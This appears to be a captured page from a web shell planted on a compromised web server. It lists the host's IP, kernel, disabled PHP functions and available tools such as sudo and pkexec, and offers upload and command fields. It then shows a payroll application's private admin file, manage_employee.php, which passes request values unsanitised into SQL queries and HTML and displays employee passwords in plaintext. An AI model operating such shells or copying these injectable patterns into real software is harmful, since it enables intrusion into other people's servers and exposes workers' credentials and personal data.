X3ND1 GANTENG
Server IP : 108.163.255.210  /  Your IP : 3.138.174.45
Web Server : Apache
System : Linux blossom.urlnameserver.com 3.10.0-1160.80.1.el7.x86_64 #1 SMP Tue Nov 8 15:48:59 UTC 2022 x86_64
User :  ( 1172)
PHP Version : 7.2.34
Disable Function : eval,escapeshellarg,proc_close,proc_get_status,proc_nice,proc_open,symlink,system,pcntl_exec,getrusage,chown,chgp,closelog,openlog,syslog,define_syslog_variables,php_ini_loaded_file,getservbyname,getservbyport,posix_getgid,posix_getgrgid,proc_terminate,pfsockopen,apache_child_terminate,posix_mkfifo,posix_setpgid,posix_setuid,hypot,pg_host,pos,posix_access,posix_getcwd,posix_getservbyname,myshellexec,getpid,posix_getsid,posix_isatty,posix_kill,posix_mknod,posix_setgid,posix_setsid,posix_setuid,posix_times,posix_uname,ps_fill,posix_getpwuid,global,ini_restore,zip_open,zip_read,rar_open,bzopen,bzread,bzwrite,apache_get_modules,apache_get_version,phpversionphpinfo,php_ini_scanned_files,get_current_user,disk_total_space,diskfreespace,leak,imap_list,hypo,filedump,safe_mode,getmygid,apache_getenv,apache_setenv,bzread,bzwrite,bzopen,phpini,higlight_file,dos_conv,get_cwd,er_log,cmd,e_name,vdir,get_dir,only_read,ftok,ftpexec,posix_getpwnam,mysql_list_dbs,disk_free_space,session_save_path,confirm_phpdoc_compiled,zip_entry_rea,php_u,psockopen,crack_opendict,crack_getlastmessage,crack_closedict,crack_check,fpassthru,posix_get_last_error,posix_getlogin,posix_getgroups,posix_strerror,posix_getrlimit,posix_getpgrp,posix_getgrnam,pos,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/unilinki/public_html/payroll/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ BERANDA ]     

Current File : /home/unilinki/public_html/payroll/admin//manage_employee.php
<?php
session_start();
//check if user i slogin or not. If the user is not login redirect it to login.php
if(!isset($_SESSION["adminuser"]) || $_SESSION["adminuser"]=="")
{
	header("Location:login.php");
	exit;
}
 if ($_SESSION['role_id']=="emp"){
	echo "<script>window.location='../index.php' </script>";
	exit();
 }
 //require database connection file and it's supporting file.
require_once("../include/db.php");
$obj=new query_execution();

$uid=md5(uniqid(rand()));

if($_POST)
{

	if( count($_POST['ids']) > 0)
	{
		$strDelIds = implode(",",$_POST['ids']);
		if($_POST['Submit'] == 'Active')
		{
			$sqlChk = " select sno   from employee where sno  in ($strDelIds) and status= 'no' ";
			$isInactive = getSingleResult($sqlChk);
			if($isInactive == '')
			{
				$_SESSION['sess_msg'] = " Selected Employee(s) are already active ";
			}
			else
			{
				$sqlA = " update employee set status = 'yes' where sno   in ($strDelIds) ";
				executeQuery($sqlA);
				$_SESSION['sess_msg'] = " Action Performed Successfully On Selected Records ";
			}
		}
		if($_POST['Submit'] == 'Inactive')
		{
			$sqlChk = " select sno  from employee where sno  in ($strDelIds) and status  = 'yes' ";
			$isInactive = getSingleResult($sqlChk);
			if($isInactive == '')
			{
				$_SESSION['sess_msg'] = " Selected Employee(s) are already inactive ";
			}
			else
			{
				 $sqlI = " update employee set status='no' where sno   in ($strDelIds) ";
				executeQuery($sqlI);
				$_SESSION['sess_msg'] = " Action Performed Successfully On Selected Records ";
			}
		}
		// Delete a Class
		if($_POST['Submit'] == 'Delete')
		{
			 $chkdel=$_POST["ids"];
				for($k=0;$k<count($chkdel);$k++){
				
				if($obj->execute("delete from employee where sno='$chkdel[$k] '"))
				{ 
					
				}
					$_SESSION['sess_msg'] = " Selected Employee(s) Deleted Successfully ";
			}
		}
		?>
        <script language="javascript">
        location.href="manage_employee.php?page=<?php echo $_REQUEST['page']?>&uid=<?php echo $uid?>";
        </script>
<?php	}
	else
	{
		$_SESSION['sess_msg'] = " Please select at least one check box to perform desired action. ";
	}
}




$sort = $_GET['sort'];
$sortby = $_GET['sortby'];

$tableName="employee";		
$targetpage = "manage_employee.php"; 	
$limit = 30;
if(isset($_GET['search_submit']) || isset($_GET['search_branch'])  || isset($_GET['search_name']) )
{
	if($search_branch!="" & $search_name=="")
	{
		$search_query="where company ='".$_GET['search_branch']."'";
	}
	if($search_name!="" & $search_branch=="")
	{
		$search_query="where name like '%".$_GET['search_name']."%'";
	}
	if($search_branch!="" & $search_name!="")
	{
		$search_query="where name like '%".$_GET['search_name']."%' && company='".$_GET['search_branch']."'";
	}
}

$query = "SELECT COUNT(*) as num FROM $tableName $search_query ORDER BY  d_o_J1 ";
$total_pages = mysql_fetch_array(mysql_query($query)) or die(mysql_error());
$total_pages = $total_pages[num];
$stages = 3;
$page = mysql_escape_string($_GET['page']);
if($page){
	$start = ($page - 1) * $limit; 
}else{
	$start = 0;	
	}	
// Get page data
if($sort == '')
{
  $query1 = "SELECT * FROM $tableName $search_query ORDER BY  d_o_J1 DESC LIMIT $start, $limit";
}
else
{
 $query1 = "SELECT * FROM $tableName $search_query ORDER BY $sortby $sort LIMIT $start, $limit ";
}
$rs_sql = mysql_query($query1) or die("error1".mysql_error());
$tot_sql=mysql_num_rows($rs_sql);

// Initial page num setup
if ($page == 0){$page = 1;}
$prev = $page - 1;	
$next = $page + 1;							
$lastpage = ceil($total_pages/$limit);		
$LastPagem1 = $lastpage - 1;					


$paginate = '';
if($lastpage > 1)
{	




	$paginate .= "<div class='paginate'>";
	// Previous
	if ($page > 1){
		$paginate.= "<a href='$targetpage?page=$prev&search_branch=".$_GET['search_branch']."&search_name=".$_GET['search_name']."&uid=".$uid."'>Previous</a>";
	}else{
		$paginate.= "<span class='disabled'>Previous</span>";	}
		

	
	// Pages	
	if ($lastpage < 7 + ($stages * 2))	// Not enough pages to breaking it up
	{	
		for ($counter = 1; $counter <= $lastpage; $counter++)
		{
		$_SESSION['counter']=$counter;
			if ($counter == $page){
				$paginate.= "<span class='current'>$counter</span>";
			}else{
				$paginate.= "<a href='$targetpage?page=$counter&search_branch=".$_GET['search_branch']."&search_name=".$_GET['search_name']."&uid=".$uid."'>$counter</a>";}
		}
	}
	elseif($lastpage > 5 + ($stages * 2))	// Enough pages to hide a few?
	{
		// Beginning only hide later pages
		if($page < 1 + ($stages * 2))		
		{
			for ($counter = 1; $counter < 4 + ($stages * 2); $counter++)
			{
				if ($counter == $page){
					$paginate.= "<span class='current'>$counter</span>";
				}else{
					$paginate.= "<a href='$targetpage?page=$counter&search_branch=".$_GET['search_branch']."&search_name=".$_GET['search_name']."&uid=".$uid."'>$counter</a>";}
			}
			$paginate.= "...";
			$paginate.= "<a href='$targetpage?page=$LastPagem1&search_branch=".$_GET['search_branch']."&search_name=".$_GET['search_name']."&uid=".$uid."'>$LastPagem1</a>";
			$paginate.= "<a href='$targetpage?page=$lastpage&search_branch=".$_GET['search_branch']."&search_name=".$_GET['search_name']."&uid=".$uid."'>$lastpage</a>";
		}
		// Middle hide some front and some back
		elseif($lastpage - ($stages * 2) > $page && $page > ($stages * 2))
		{
			$paginate.= "<a href='$targetpage?page=1&search_branch=".$_GET['search_branch']."&search_name=".$_GET['search_name']."&uid=".$uid."&view=yes'>1</a>";
			$paginate.= "<a href='$targetpage?page=2&search_branch=".$_GET['search_branch']."&search_name=".$_GET['search_name']."&uid=".$uid."&view=yes'>2</a>";
			$paginate.= "...";
			for ($counter = $page - $stages; $counter <= $page + $stages; $counter++)
			{
				if ($counter == $page){
					$paginate.= "<span class='current'>$counter</span>";
				}else{
					$paginate.= "<a href='$targetpage?page=$counter&search_branch=".$_GET['search_branch']."&search_name=".$_GET['search_name']."&uid=".$uid."'>$counter</a>";}
			}
			$paginate.= "...";
			$paginate.= "<a href='$targetpage?page=$LastPagem1&search_branch=".$_GET['search_branch']."&search_name=".$_GET['search_name']."&uid=".$uid."'>$LastPagem1</a>";
			$paginate.= "<a href='$targetpage?page=$lastpage&search_branch=".$_GET['search_branch']."&search_name=".$_GET['search_name']."&uid=".$uid."'>$lastpage</a>";
		}
		// End only hide early pages
		else
		{
			$paginate.= "<a href='$targetpage?page=1&search_branch=".$_GET['search_branch']."&search_name=".$_GET['search_name']."&uid=".$uid."'>1</a>";
			$paginate.= "<a href='$targetpage?page=2&search_branch=".$_GET['search_branch']."&search_name=".$_GET['search_name']."&uid=".$uid."'>2</a>";
			$paginate.= "...";
			for ($counter = $lastpage - (2 + ($stages * 2)); $counter <= $lastpage; $counter++)
			{
				if ($counter == $page){
					$paginate.= "<span class='current'>$counter</span>";
				}else{
					$paginate.= "<a href='$targetpage?page=$counter&search_branch=".$_GET['search_branch']."&search_name=".$_GET['search_name']."&uid=".$uid."'>$counter</a>";}
			}
		}
	}
				
			// Next
	if ($page < $counter - 1){ 
		$paginate.= "<a href='$targetpage?page=$next&search_branch=".$_GET['search_branch']."&search_name=".$_GET['search_name']."&uid=".$uid."'>Next</a>";
	}else{
		$paginate.= "<span class='disabled'>Next</span>";
		}
		
	$paginate.= "</div>";
} 
require_once("header.php");
?>
<script language="JavaScript">
function checkall(objForm)
{
	//alert(objForm);
	len = objForm.elements.length;
	var i=0;
	for( i=0 ; i<len ; i++) 
	{
		if (objForm.elements[i].type=='checkbox') objForm.elements[i].checked=objForm.check_all.checked;
	}
}
function del_prompt(comb)
{
	
	if(comb=='Delete')
	{
		if(confirm ("Are you sure you want to delete Record(s)"))
		{
			document.frm_del.submit();
		}
		else
		{ 
			return false;
		}
	}
}
</script>
<!----header ends-->
      <!-- Left side column. contains the logo and sidebar -->
      <?php
	  require_once("left.php");
	  ?>

      <!-- Content Wrapper. Contains page content -->
      <div class="content-wrapper">
        <!-- Content Header (Page header) -->
        <section class="content-header">
          <h1>Manage Employee</h1>
          <ol class="breadcrumb">
            <li><a href="dashboard.php"><i class="fa fa-dashboard"></i> Home</a></li>
			<li class="active">Manage Employee</li>
          </ol>
        </section>

        <!-- Main content -->
        <section class="content">
          <div class="row">
            <div class="col-xs-12">
              <div class="box">
                <div class="box-header">
                  <h3 class="box-title">View</h3>
                  <h3 class="box-title" style="float:right">
				  
				  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
				  <a href="add_edit_employee.php?page=<?php echo $_REQUEST['page']?>&search_branch=<?php echo $_GET['search_branch']; ?>&search_name=<?php echo $_GET['search_name']; ?>">Add New Employee</a></h3>
                </div><!-- /.box-header -->
                 <div class="box-header" align="center">
                 	<form name="" action="" method="get">
				  <select name="search_branch"><option value="">Filter By Branch</option>
				  <?php $sql_search=mysql_query("select * from companies");
				  while($s_s=mysql_fetch_array($sql_search))
				  {
				  ?>
				  <option value="<?php echo $s_s['name']; ?>" <?php if($s_s['name']==$_REQUEST['search_branch']){?> selected <?php } ?>><?php echo $s_s['name']; ?></option>
				  <?php } ?>
				  </select>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
				  <input type="text" name="search_name">
				  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
				  <input type="submit" name="search_submit" value="Filter">
				  </form>
                 </div>
                <div class="box-body">
                <form name="frm_del" method="post" >
                  <table id="example2" class="table table-bordered table-hover">
                    <thead>
                    <?php  if($_SESSION['sess_msg'] != ''){?>
								  <tr align="center" bgcolor="#FF000">
									<td height="25" colspan="12" class="blue_txt"><?php  echo $_SESSION['sess_msg']; $_SESSION['sess_msg'] = '';?></td>
								  </tr>
								<?php  }elseif($_REQUEST['action']=='add'){ ?>
									<tr align="center" bgcolor="#00FFFF">
									<td height="25" colspan="12" class="blue_txt"><?php  echo "Employee Added Successfully"; ?></td>
								  </tr>
								<?php  }elseif($_REQUEST['action']=='notadd'){ ?>
                                	<tr align="center" bgcolor="#FF000">
									<td height="25" colspan="12" class="blue_txt"><?php  echo "Employee Not Added"; ?></td>
								  </tr>
                                <?php  }elseif($_REQUEST['action']=='duplicate'){ ?>
                                	<tr align="center" bgcolor="#FF000">
									<td height="25" colspan="12" class="blue_txt"><?php  echo "Duplicate Employee" ;?></td>
								  </tr>
                                  <?php  }elseif($_REQUEST['action']=='update'){ ?>
                                	<tr align="center" bgcolor="#00FFFF">
									<td height="25" colspan="12" class="blue_txt"><?php  echo "Employee updated Successfully" ;?></td>
								  </tr>
                                  <?php  }elseif($_REQUEST['action']=='notupdate'){ ?>
                                	<tr align="center" bgcolor="#FF000">
									<td height="25" colspan="12" class="blue_txt"><?php  echo "Employee not Update" ;?></td>
								  </tr>
                                <?php }?>
                      <tr>
					  <th>Emp Id/Password</th>
					  
                        <th>Name</th>
                        <th>Branch/Area</th>
						<th>Designation</th>
                        <th>D.O.J</th>
                        <th>D.O.L</th>
                        <th>Basic Salary</th>
                        <th>Phone</th>
                        <th>ESI</th>
						<th>PF</th>
                        <th>Status</th>
                        <td>Edit</th>
                         <td align="center"> <input name="check_all" type="checkbox" id="check_all" value="check_all" onClick="checkall(this.form)"></td>
                      </tr>
                    </thead>
                    <?php if($tot_sql != 0){ ?>
                    <tbody>
                    <?php
					 $i=0;
					 $j=$tot_sql;
						while($line=mysql_fetch_array($rs_sql))
						{
						$i++;
						
						  ?>
                      <tr>
					  <td><?php echo $line['id']?><br><?php echo $line['password']?></td>
					  
                        <td><?php echo $line['name']?></td>
                        <td><?php echo $line['company']?><br><?php echo $line['area']?></td>
						
                        <td><?php echo $line['designation']?></td>
                        <td><?php echo $line['d_o_J']?></td>
                        <td><?php echo $line['d_o_l']?></td>
                        <td><?php echo $line['b_salary']?></td>
                        <td><?php echo $line['phone_number']; ?></td>
                        <td><?php echo $line['esi']; ?></td>
						<td><?php echo $line['pf']; ?></td>
                        <td><?php if($line['status']=='yes'){ echo "Active"; }else{ echo "Inactive"; }?></td>
                        <td><a href="add_edit_employee.php?action=edit&sno=<?php echo $line[0]?>&page=<?php echo $_REQUEST['page']?>&search_branch=<?php echo $_GET['search_branch']; ?>&search_name=<?php echo $_GET['search_name']; ?>&uid=<?php echo $uid?>"><img src="dist/img/edit_icon.gif" alt="Edit" width="16" height="16" border="0"></a></td>
                         
                         <td align="center" valign="middle"><input type="checkbox" name="ids[]" value="<?php echo $line[0]?>">                        </td>
                      </tr>
                      <?php 
					 $j--;
					  }?>
                    </tbody>
                    <?php }else{?>
                    <tbody>
                     <tr align="center">
                        <td colspan="8">Sorry, currently there 
                          are no <span class="white_bold_big">Employee</span>  present.</td>
                      </tr>
                    </tbody>
                    <?php }?>
                    
                      <tr>
					  <td colspan="8" align="center"><?php echo $paginate?></td>
                        <td colspan="5" align="right">
                        <input name="Submit" type="submit" class="btn btn-info"  value="Active">&nbsp;
                          <input name="Submit" type="submit" class="btn btn-info "  value="Inactive"> &nbsp;
                        <input type="submit" name="Submit" value="Delete" class="btn btn-info " >&nbsp;</td>
                       
                        
                      </tr>
                    </tfoot>
                  </table>
                  </form>
                </div><!-- /.box-body -->
              </div><!-- /.box -->
            </div><!-- /.col -->
          </div><!-- /.row -->
        </section><!-- /.content -->
      </div><!-- /.content-wrapper -->
<?php
require_once("footer.php");
?>

Anon7 - 2022
SCDN GOK